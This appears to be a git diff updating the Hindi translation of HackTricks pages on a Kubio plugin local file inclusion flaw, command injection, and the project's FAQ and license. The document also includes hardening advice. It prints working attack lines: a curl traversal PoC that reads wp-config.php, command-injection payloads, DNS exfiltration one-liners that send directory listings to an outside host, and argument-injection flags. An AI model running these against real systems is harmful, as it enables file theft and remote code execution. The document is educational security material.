अनपेक्षित metacharacters को अस्वीकार करें -- s के लिए एक सख्त allowlist जोड़ें और अपेक्षित charset/length के अनुसार सामान्यीकृत करें +- s के लिए एक सख्त allowlist जोड़ें और अपेक्षित charset/length में normalize करें --- -## बिना प्रमाणिकरण Local File Inclusion के माध्यम से अमान्यीकृत template/file path (Kubio AI Page Builder ≤ 2.5.1) +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) -Normalization/containment के बिना template पैरामीटर में attacker-controlled paths को स्वीकार करने से arbitrary local files पढ़ने की अनुमति मिलती है, और कभी-कभी code execution भी हो सकता है अगर includable PHP/log files runtime में शामिल कर दिए जाएँ। +template parameter में normalization/containment के बिना attacker-controlled paths को स्वीकार करने से arbitrary local files पढ़ने की अनुमति मिलती है, और कभी-कभार code execution भी हो सकता है यदि includable PHP/log फाइलें runtime में शामिल कर दी जाएँ। - Parameter: __kubio-site-edit-iframe-classic-template -- कमज़ोरी: कोई normalization/allowlisting नहीं; traversal की अनुमति है -- प्रभाव: गुप्त जानकारी का खुलासा (wp-config.php), विशिष्ट वातावरणों में संभावित RCE (log poisoning, includable PHP) +- Flaw: कोई normalization/allowlisting नहीं; traversal की अनुमति है +- Impact: गोपनीय जानकारी का खुलासा (wp-config.php), specific environments में potential RCE (log poisoning, includable PHP) PoC – wp-config.php पढ़ें ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` पता लगाने की चेकलिस्ट -- कोई भी handler जो अनुरोध पाथ्स को include()/require()/read sinks में जोड़ता है बिना realpath() containment के -- traversal patterns (../) की तलाश करें जो intended templates directory के बाहर पहुँच रहे हों +- कोई भी handler जो request paths को include()/require()/read sinks में जोड़ता है बिना realpath() containment के +- traversal patterns (../) की तलाश करें जो इरादतन templates directory के बाहर पहुँचते हों कठोरकरण -- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) -- इनपुट को Normalize करें; traversal sequences और absolute paths को reject करें; sanitize_file_name() का उपयोग केवल filenames के लिए करें (not full paths) +- Allowlisted templates लागू करें; realpath() से resolve करें और चेक करें कि str_starts_with(realpath(file), realpath(allowed_base)) +- इनपुट को normalize करें; traversal sequences और absolute paths को reject करें; sanitize_file_name() केवल filenames के लिए उपयोग करें (पूर्ण paths के लिए नहीं) ## संदर्भ diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index f044d40d7..5baeecf81 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## command Injection क्या है? -A **command injection** एक attacker को उस server पर, जो application host कर रहा है, arbitrary operating system commands execute करने की अनुमति देता है। नतीजतन, application और उसके सभी data पूरी तरह compromised हो सकते हैं। इन commands के execution से आमतौर पर attacker को application के environment और underlying system पर unauthorized access या control प्राप्त हो सकता है। +एक **command injection** हमलावर को उस सर्वर पर मनमाने operating system commands निष्पादित करने की अनुमति देता है जो एप्लिकेशन होस्ट कर रहा होता है। परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के वातावरण और underlying system पर अनाधिकृत पहुँच या नियंत्रण प्राप्त हो जाता है। -### Context +### संदर्भ -यह निर्भर करता है कि **आपका input कहाँ inject हो रहा है**, आपको commands से पहले **quoted context को terminate** (using `"` or `'`) करना पड़ सकता है। +यह इस बात पर निर्भर करता है कि **where your input is being injected**; आपको कमांड्स से पहले **terminate the quoted context** (using `"` or `'`) करना पड़ सकता है। ## Command Injection/Execution ```bash @@ -30,10 +30,11 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **सीमाएँ** बायपास यदि आप **arbitrary commands inside a linux machine** निष्पादित करने का प्रयास कर रहे हैं, तो आप इस **Bypasses:** के बारे में पढ़ने में रुचि रखेंगे: + {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} @@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### पैरामीटर -यहाँ शीर्ष 25 पैरामीटर दिए गए हैं जो code injection और समान RCE vulnerabilities के प्रति कमजोर हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +निम्नलिखित शीर्ष 25 पैरामीटर हैं जो code injection और समान RCE vulnerabilities के प्रति संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -88,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### DNS आधारित data exfiltration -यह टूल `https://github.com/HoLyVieR/dnsbin` पर आधारित है और dnsbin.zhack.ca पर भी होस्ट किया गया है +यह टूल `https://github.com/HoLyVieR/dnsbin` से लिया गया है और dnsbin.zhack.ca पर भी होस्ट किया गया है ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -100,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS-आधारित data exfiltration की जाँच के लिए ऑनलाइन टूल्स: +DNS based data exfiltration की जांच के लिए ऑनलाइन टूल: - dnsbin.zhack.ca - pingb.in @@ -119,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` बनाम `execFile` +### Node.js `child_process.exec` vs `execFile` -JavaScript/TypeScript बैक-एंड का ऑडिट करते समय आप अक्सर Node.js `child_process` API से मिलेंगे। +JavaScript/TypeScript बैक-एंड का ऑडिट करते समय आप अक्सर Node.js `child_process` API का सामना करेंगे। ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` एक **shell** (`/bin/sh -c`) शुरू करता है, इसलिए shell के लिए special meaning रखने वाले कोई भी character (back-ticks, `;`, `&&`, `|`, `$()`, …) तब **command injection** का कारण बनेंगे जब user input string में concatenated होगा। +`exec()` एक **shell** (`/bin/sh -c`) स्पॉन करता है, इसलिए कोई भी कैरेक्टर जिसका shell के लिए विशेष अर्थ है (back-ticks, `;`, `&&`, `|`, `$()`, …) जब उपयोगकर्ता इनपुट स्ट्रिंग में जोड़ दिया जाता है तो **command injection** का परिणाम होगा। -**Mitigation:** `execFile()` का उपयोग करें (या `spawn()` बिना `shell` option के) और **प्रत्येक argument को अलग array element के रूप में** प्रदान करें ताकि कोई shell शामिल न हो: +**निवारण:** `execFile()` का उपयोग करें (या `spawn()` बिना `shell` विकल्प के) और **प्रत्येक argument को अलग-अलग array element के रूप में** प्रदान करें ताकि कोई shell शामिल न हो: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -139,11 +140,11 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 एक unauthenticated WebSocket event के माध्यम से explotible था जिसने attacker controlled डेटा को `id_user` में रख दिया जो बाद में एक `exec()` कॉल में embedded हुआ, और RCE हासिल किया गया (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 अनप्रमाणित WebSocket इवेंट के माध्यम से एक्सप्लॉइटेबल था जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा, जो बाद में एक `exec()` कॉल में एम्बेड किया गया, जिससे RCE हासिल हुआ (Pwn2Own Ireland 2024). ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Not all injections require shell metacharacters. यदि application untrusted strings को system utility को arguments के रूप में पास करता है (यहाँ तक कि `execve`/`execFile` के साथ और no shell होने पर भी), कई प्रोग्राम किसी भी argument को जो `-` या `--` से शुरू होता है, option समझकर parse कर लेते हैं। इससे एक attacker modes बदल सकता है, output paths बदल सकता है, या बिना कभी shell में घुसे खतरनाक व्यवहार trigger कर सकता है। +Not all injections require shell metacharacters. यदि एप्लिकेशन अनट्रस्टेड स्ट्रिंग्स को सिस्टम utility के arguments के रूप में पास करता है (यहाँ तक कि `execve`/`execFile` के साथ और बिना shell के), तो कई प्रोग्राम किसी भी argument को जो `-` या `--` से शुरू होता है, option के रूप में पार्स करेंगे। यह हमलावर को मोड बदलने, output paths बदलने, या खतरनाक व्यवहार ट्रिगर करने देता है, बिना कभी shell में प्रवेश किए। Typical places where this appears: @@ -154,10 +155,10 @@ What to try: - Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. - Abuse flags that change behavior or write files, for example: - - `ping`: `-f`/`-c 100000` डिवाइस पर दबाव डालने के लिए (DoS) - - `curl`: `-o /tmp/x` arbitrary paths पर लिखने के लिए, `-K ` attacker-controlled config लोड करने के लिए - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` unsafe wrappers में post-rotate execution हासिल करने के लिए -- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. + - `ping`: `-f`/`-c 100000` to stress the device (DoS) + - `curl`: `-o /tmp/x` to write arbitrary paths, `-K ` to load attacker-controlled config + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers +- If the program supports `--` end-of-options, try to bypass साधारण mitigations that prepend `--` in the wrong place. Generic PoC shapes against centralized CGI dispatchers: ``` @@ -170,7 +171,7 @@ topicurl=¶m=-n # Unauthenticated RCE when a handler concatenates into a shell topicurl=setEasyMeshAgentCfg&agentName=;id; ``` -## Brute-Force डिटेक्शन सूची +## ब्रूट-फ़ोर्स डिटेक्शन सूची {{#ref}} @@ -182,8 +183,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) -- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [Synology एन्क्रिप्टेड आर्काइव्स का निष्कर्षण – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [PHP proc_open मैनुअल](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a412e554e..e0c63a88e 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -2,56 +2,56 @@ {{#include ../banners/hacktricks-training.md}} -## HackTricks मान्यताएँ +## HackTricks Values > [!TIP] -> ये HackTricks प्रोजेक्ट की **मान्यताएँ** हैं: +> ये HackTricks Project की **मान्यताएँ** हैं: > -> - इंटरनेट पर **सभी** को **मुफ्त** **शैक्षिक hacking** संसाधनों तक पहुँच देना। -> - Hacking सीखना है, और सीखना जितना संभव हो उतना मुफ्त होना चाहिए। -> - इस किताब का उद्देश्य व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है। -> - शानदार **hacking** तकनीकों को समुदाय द्वारा प्रकाशित होने पर संग्रहित करना और **मौलिक** **लेखकों** को सारा **श्रेय** देना। -> - **हम दूसरों का श्रेय नहीं चाहते**, हम सिर्फ सभी के लिए बेहतरीन ट्रिक्स संग्रहीत करना चाहते हैं। -> - हम HackTricks में **अपनी रिसर्च** भी लिखते हैं। -> - कई मामलों में हम सिर्फ तकनीक के महत्वपूर्ण हिस्सों का **HackTricks में सारांश** लिखेंगे और अधिक विवरण के लिए **पाठक को मूल पोस्ट पर जाने के लिए प्रोत्साहित करना**। -> - किताब में मौजूद सभी **hacking** तकनीकों को **संगठित** करना ताकि यह **अधिक सुलभ** हो। -> - HackTricks टीम ने सामग्री को व्यवस्थित करने के लिए मुफ्त में केवल हजारों घंटे **संगठन** के लिए समर्पित किए हैं ताकि लोग **तेज़ी से सीख** सकें। +> - पूरे इंटरनेट के लिए **निःशुल्क** **शैक्षिक hacking** संसाधन उपलब्ध कराना। +> - Hacking सीखने के बारे में है, और सीखना जितना संभव हो मुफ्त होना चाहिए। +> - इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक स्रोत** के रूप में सेवा देना है। +> - awesome **hacking** techniques को **STORE** करना जो समुदाय प्रकाशित करता है और **ORIGINAL** **AUTHORS** को पूरा **क्रेडिट** देना। +> - **हम दूसरों का क्रेडिट नहीं चाहते**, हम बस सभी के लिए बढ़िया ट्रिक्स संग्रहीत करना चाहते हैं। +> - हम HackTricks में अपनी **खुद की रिसर्च** भी लिखते हैं। +> - कई मामलों में हम HackTricks में तकनीक के महत्वपूर्ण हिस्सों का **सारांश** लिखेंगे और पाठक को अधिक विवरण के लिए मूल पोस्ट पर जाने के लिए **प्रोत्साहित** करेंगे। +> - पुस्तिका में सभी hacking तकनीकों को **ORGANIZE** करना ताकि वे **ज्यादा सुलभ** हों। +> - HackTricks टीम ने केवल सामग्री को व्यवस्थित करने के लिए हजारों घंटे नि:शुल्क समर्पित किए हैं ताकि लोग **तेज़ी से सीख** सकें।
-## HackTricks अक्सर पूछे जाने वाले प्रश्न +## HackTricks faq > [!TIP] > -> - **इन संसाधनों के लिए बहुत धन्यवाद — मैं कैसे धन्यवाद कर सकता/सकती हूँ?** +> - **इन संसाधनों के लिए बहुत-बहुत धन्यवाद, मैं आपको कैसे धन्यवाद कह सकता/सकती हूँ?** -आप सार्वजनिक रूप से HackTricks टीम का धन्यवाद कर सकते हैं जिन्होंने इन सभी संसाधनों को एक साथ रखा — एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करके.\ -यदि आप विशेष रूप से कृतज्ञ हैं तो आप भी [**sponsor the project here**](https://github.com/sponsors/carlospolop) कर सकते हैं.\ -और Github प्रोजेक्ट्स में एक **स्टार देना न भूलें!** (नीचे लिंक मिलेंगे). +आप सार्वजनिक रूप से HackTricks टीम को इन सभी संसाधनों को सार्वजनिक रूप से इकट्ठा करने के लिए ट्विटर पर धन्यवाद दे सकते हैं, एक ट्वीट में [**@hacktricks_live**](https://twitter.com/hacktricks_live) का उल्लेख करें।\ +अगर आप विशेष रूप से आभारी हैं तो आप [**sponsor the project here**](https://github.com/sponsors/carlospolop) भी कर सकते हैं।\ +और Github प्रोजेक्ट्स में **स्टार देना न भूलें!** (नीचे लिंक देखें)। > [!TIP] > -> - **मैं प्रोजेक्ट में कैसे योगदान दे सकता/दे सकती हूँ?** +> - **मैं प्रोजेक्ट में कैसे योगदान कर सकता/सकती हूँ?** -आप समुदाय के साथ **नए टिप्स और ट्रिक्स साझा कर सकते हैं या किताबों में पाए गए बग ठीक कर सकते हैं** और संबंधित Github पृष्ठों पर **Pull Request** भेजकर योगदान दे सकते हैं: +आप समुदाय के साथ नए टिप्स और ट्रिक्स **शेयर कर सकते हैं या किताबों में जो बग मिलें उन्हें ठीक कर सकते हैं** और संबंधित Github पेज पर एक **Pull Request** भेज सकते हैं: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Github प्रोजेक्ट्स में एक **स्टार देना न भूलें!** +Github प्रोजेक्ट्स में **स्टार देना न भूलें!** > [!TIP] > -> - **क्या मैं HackTricks से कुछ सामग्री कॉपी करके अपने ब्लॉग में डाल सकता/सकती हूँ?** +> - **क्या मैं HackTricks से कुछ कंटेंट कॉपी करके अपने ब्लॉग पर डाल सकता/सकती हूँ?** -हाँ, कर सकते हैं, लेकिन **उन विशिष्ट लिंक(ओं) का उल्लेख करना न भूलें** जहाँ से सामग्री ली गई थी। +हाँ, आप कर सकते हैं, लेकिन **जहाँ से सामग्री ली गई है उन specific link(s) का उल्लेख करना न भूलें।** > [!TIP] > > - **मैं HackTricks के किसी पेज का संदर्भ कैसे दूँ?** -जब तक उस पेज(ओं) **का** लिंक जहाँ से आपने जानकारी ली है दिखाई देता है, यह पर्याप्त है.\ -यदि आपको bibtex चाहिए तो आप कुछ इस तरह का उपयोग कर सकते हैं: +जब तक आप उन पेज(ों) का लिंक जहाँ से आपने जानकारी ली है दिखा देते हैं, यह काफी है।\ +अगर आपको bibtex चाहिए तो आप कुछ इस तरह उपयोग कर सकते हैं: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -63,81 +63,81 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > [!WARNING] > > - **Can I copy all HackTricks in my blog?** - -**मैं इसे पसंद नहीं करूँगा।** यह किसी के भी हित में नहीं है क्योंकि सारा **content पहले से ही आधिकारिक HackTricks किताबों में मुफ्त उपलब्ध है**। - -अगर आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर fork कर लें या डाउनलोड कर लें — जैसा मैंने कहा, यह पहले से ही मुफ्त है। +> +> **मैं ऐसा करना पसंद नहीं करूँगा/करूँगी।** यह **किसी के भी लाभ में नहीं होगा** क्योंकि सारी **सामग्री पहले से ही आधिकारिक HackTricks पुस्तकों में मुफ्त रूप से सार्वजनिक रूप से उपलब्ध है।** +> +> यदि आपको डर है कि यह कहीं गायब हो जाएगा, तो बस इसे Github पर fork कर लें या डाउनलोड कर लें—जैसा कि मैंने कहा यह पहले से ही मुफ्त है। > [!WARNING] > > - **Why do you have sponsors? Are HackTricks books for commercial purposes?** - -पहला **HackTricks** **value** यह है कि दुनिया भर के लिए **FREE** hacking educational resources पेश करना। HackTricks टीम ने इस सामग्री को मुफ्त में उपलब्ध कराने के लिए **हज़ारों घंटे समर्पित किए हैं**। - -अगर आप सोचते हैं कि HackTricks किताबें **commercial purposes** के लिए बनाई गई हैं तो आप **COMPLETELY WRONG** हैं। - -हमारे पास sponsors इसलिए हैं क्योंकि, भले ही सारी सामग्री FREE हो, हम community को **हमारे काम की प्रशंसा करने का विकल्प** देना चाहते हैं अगर वे चाहें। इसलिए, हम लोगों को HackTricks को [**Github sponsors**](https://github.com/sponsors/carlospolop) के जरिए दान करने का विकल्प देते हैं, और **relevant cybersecurity companies** HackTricks को sponsor कर सकती हैं और किताब में कुछ ads रख सकती हैं — ये **ads** हमेशा ऐसी जगहों पर रखे जाते हैं जहाँ वे **दिखते हों** पर सीखने की प्रक्रिया को **व्यवधान न पहुँचाएँ**। - -आप HackTricks में उतने परेशान करने वाले ads नहीं पाएँगे जितने कुछ कम सामग्री वाले ब्लॉग्स में होते हैं, क्योंकि HackTricks को commercial उद्देश्यों के लिए नहीं बनाया गया है। +> +> पहला **HackTricks** **मूल्य** दुनिया भर के लिए **निशुल्क (FREE)** hacking शैक्षिक संसाधन प्रदान करना है। HackTricks टीम ने यह सामग्री प्रदान करने के लिए **हज़ारों घंटे समर्पित** किए हैं, और फिर से कहूँगा, यह सब **मुफ्त** है। +> +> अगर आप सोचते हैं कि HackTricks किताबें **वाणिज्यिक उद्देश्यों** के लिए बनी हैं तो आप **पूरी तरह गलत** हैं। +> +> हमारे पास sponsors हैं क्योंकि, भले ही सारी सामग्री मुफ्त हो, हम समुदाय को **हमारे काम की सराहना करने का विकल्प देना** चाहते हैं यदि वे चाहें। इसलिए, हम लोगों को HackTricks को दान करने का विकल्प देते हैं via [**Github sponsors**](https://github.com/sponsors/carlospolop), और **प्रासंगिक साइबरसिक्योरिटी कंपनियों** को HackTricks का समर्थन करने और किताब में कुछ ads रखने का विकल्प देते हैं—ये ads हमेशा ऐसी जगहों पर रखे जाते हैं जहाँ वे **दिखाई दें** मगर सीखने की प्रक्रिया में **विघ्न न डालें** अगर कोई सामग्री पर ध्यान केंद्रित कर रहा हो। +> +> आप HackTricks में उस तरह की परेशान करने वाली ads नहीं पाएँगे जैसा कुछ दूसरे ब्लॉग्स में होता है जिनमें HackTricks से बहुत कम सामग्री होती है, क्योंकि HackTricks वाणिज्यिक उद्देश्यों के लिए नहीं बनाई गई है। > [!CAUTION] > > - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** - -**हमें बहुत खेद है। यह नहीं होना चाहिए था।** कृपया हमें Github issues, Twitter, Discord... के माध्यम से बताएं — उस HackTricks पेज का लिंक और आपके ब्लॉग का लिंक भेजें और **हम जांच करेंगे और ASAP लिंक जोड़ देंगे**। +> +> **हमें बहुत क्षमा चाहिये। यह नहीं होना चाहिए था।** कृपया हमें Github issues, Twitter, Discord... के माध्यम से सूचित करें — उस HackTricks पेज का लिंक जिसमें आपकी सामग्री है और आपके ब्लॉग का लिंक भेजें और **हम इसे जाँचकर ASAP जोड़ देंगे**। > [!CAUTION] > > - **What should I do if there is content from my blog in HackTricks and I don't want it there?** - -ध्यान दें कि HackTricks में आपके पेज के लिंक होने से: - -- आपके **SEO** में सुधार होता है -- सामग्री **15+ भाषाओं** में अनुवादित होती है जिससे अधिक लोग इस सामग्री तक पहुँच सकते हैं -- **HackTricks लोगों को आपके पेज को चेक करने के लिए प्रेरित करता है** (कई लोगों ने हमें बताया है कि जब उनका कोई पेज HackTricks में आया तब उन्हें अधिक विज़िट्स मिले) - -हालाँकि, अगर आप फिर भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटाई जाए, तो बस हमें बताएं और हम निश्चित रूप से **आपके ब्लॉग के सभी लिंक** और उस पर आधारित किसी भी सामग्री को हटा देंगे। +> +> ध्यान दें कि HackTricks में आपके पेज के लिंक होने से: +> +> - आपके **SEO** में सुधार होता है +> - सामग्री **15+ भाषाओं** में अनुवादित हो जाती है जिससे अधिक लोग इस सामग्री तक पहुँच पाते हैं +> - **HackTricks लोगों को आपके पेज की जाँच करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि उनके किसी पेज के HackTricks में आने के बाद उन्हें अधिक विज़िट मिली हैं) +> +> फिर भी, यदि आप चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटा दी जाए तो बस हमें बताइए और हम निश्चित रूप से **आपके ब्लॉग के सभी लिंक्स** और उस पर आधारित किसी भी सामग्री को हटा देंगे। > [!CAUTION] > > - **What should I do if I find copy-pasted content in HackTricks?** +> +> हम हमेशा **मूल लेखकों को पूरा श्रेय देते हैं**। यदि आप कोई पेज पाते हैं जिसमें copy-pasted सामग्री है और मूल स्रोत संदर्भित नहीं है, तो हमें बताइए और हम या तो **उसे हटा देंगे**, **टेक्स्ट से पहले लिंक जोड़ेंगे**, या **लिंक जोड़कर उसे फिर से लिख देंगे**। -हम हमेशा **मूल लेखकों को पूरा क्रेडिट देते हैं**। यदि आप कोई ऐसा पेज पाते हैं जिसमें copy-pasted सामग्री है और मूल स्रोत का उल्लेख नहीं है, तो हमें बताएं और हम या तो उसे **हटा देंगे**, **मूल लिंक टेक्स्ट से पहले जोड़ देंगे**, या **उसका पुनर्लेखन करके लिंक जोड़ देंगे**। +## LICENSE -## लाइसेंस +Copyright © All rights reserved unless otherwise specified. -कॉपीराइट © सभी अधिकार सुरक्षित जब तक कि अन्यथा निर्दिष्ट न हो। +#### License Summary: -#### लाइसेंस सारांश: +- Attribution: You are free to: +- Share — copy and redistribute the material in any medium or format. +- Adapt — remix, transform, and build upon the material. -- Attribution: आप स्वतंत्र हैं: -- Share — सामग्री को किसी भी माध्यम या फॉर्मैट में कॉपी और पुनर्वितरित करने के लिए। -- Adapt — सामग्री को remix, transform, और build करने के लिए। +#### Additional Terms: -#### अतिरिक्त शर्तें: +- Third-Party Content: इस ब्लॉग/पुस्तक के कुछ भाग अन्य स्रोतों से सामग्री शामिल कर सकते हैं, जैसे अन्य ब्लॉग्स या प्रकाशनों के अंश। ऐसे सामग्री का उपयोग अक्सर उचित उपयोग (fair use) के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों की स्पष्ट अनुमति से किया गया है। कृपया तृतीय-पक्ष सामग्री के विशेष लाइसेंसिंग जानकारी के लिए मूल स्रोतों को देखें। +- Authorship: HackTricks द्वारा रचित मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। जब आप इस कार्य को साझा या अनुकूलित करते हैं तो लेखक को श्रेय देने की सलाह दी जाती है। -- Third-Party Content: इस ब्लॉग/बुक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉग या प्रकाशनों के उद्धरण। ऐसी सामग्री का उपयोग fair use के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों की स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों को देखें। -- Authorship: HackTricks द्वारा रचित मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। साझा या अनुकूलित करते समय आपसे अनुरोध है कि इस कार्य को लेखक को श्रेय दें। +#### Exemptions: -#### छूटें: +- Commercial Use: इस सामग्री के वाणिज्यिक उपयोग के संबंध में पूछताछ के लिए, कृपया मुझसे संपर्क करें। -- Commercial Use: इस सामग्री के commercial उपयोग के बारे में पूछताछ के लिए, कृपया मुझसे संपर्क करें। +यह लाइसेंस सामग्री से संबंधित किसी ट्रेडमार्क या ब्रांडिंग के अधिकार प्रदान नहीं करता। इस ब्लॉग/पुस्तक में दिखाए गए सभी ट्रेडमार्क और ब्रांडिंग उनके संबंधित मालिकों की संपत्ति हैं। -यह लाइसेंस सामग्री से संबंधित किसी भी ट्रेडमार्क या ब्रांडिंग अधिकार नहीं देता। इस ब्लॉग/बुक में दिखाये गए सभी ट्रेडमार्क और ब्रांडिंग उनके संबंधित मालिकों की संपत्ति हैं। +**HackTricks का उपयोग या एक्सेस करके, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमत होते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट का उपयोग न करें।** -**HackTricks का उपयोग या एक्सेस करके, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमत होते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट तक पहुँच न करें।** - -## **अस्वीकरण** +## **Disclaimer** > [!CAUTION] -> यह किताब, 'HackTricks,' केवल शैक्षिक और सूचना-उद्देश्यों के लिए है। इस किताब की सामग्री 'as is' आधार पर प्रदान की जाती है, और लेखक और प्रकाशक किसी भी प्रकार का कोई प्रतिनिधित्व या वारंटी नहीं देते — स्पष्ट या निहित — सामग्री की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में। इस प्रकार की किसी भी जानकारी पर आपकी निर्भरता पूरी तरह से आपके अपने जोखिम पर है। +> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचना उद्देश्यों के लिए है। इस पुस्तक की सामग्री 'as is' आधार पर प्रदान की गई है, और लेखक तथा प्रकाशक किसी भी प्रकार के स्पष्ट या निहित प्रतिनिधित्व या वारंटी नहीं देते, जैसे कि जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में। इसलिए आप जो भी इस जानकारी पर निर्भर करते हैं वह पूरी तरह आपकी अपनी जिम्मेदारी होगी। > -> लेखक और प्रकाशक किसी भी हानि या नुकसान के लिए किसी भी स्थिति में उत्तरदायी नहीं होंगे, जिसमें परोक्ष या परोक्ष हानि या किसी भी डेटा या मुनाफ़े के नुकसान से जुड़ा कोई भी नुकसान शामिल है, जो इस किताब के उपयोग के कारण या उससे संबंधित होकर उत्पन्न हो। +> लेखक और प्रकाशक किसी भी नुकसान या हानि के लिए उत्तरदायी नहीं होंगे, जिसमें परोक्ष या परिणामी हानि शामिल है, या किसी भी प्रकार की हानि जो डेटा या लाभ की हानि से उत्पन्न हो, या इस पुस्तक के उपयोग के कारण होने वाली कोई भी हानि। > -> इसके अतिरिक्त, इस किताब में वर्णित तकनीकें और टिप्स केवल शैक्षिक और सूचना-उद्देश्यों के लिए प्रदान किए गए हैं, और इन्हें किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या अनुमोदन नहीं करते, और इस किताब की जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है। +> इसके अतिरिक्त, इस पुस्तक में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचना के उद्देश्य के लिए प्रदान किए गए हैं, और किसी भी अनैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किए जाने चाहिए। लेखक और प्रकाशक किसी भी अनैतिक या अवैध गतिविधियों को समर्थन या प्रोत्साहन नहीं देते, और इस पुस्तक में दी गई जानकारी का कोई भी उपयोग उपयोगकर्ता की अपनी जोखिम और विवेक पर है। > -> इस किताब में निहित जानकारी के आधार पर किसी भी कार्रवाई के लिए उपयोगकर्ता 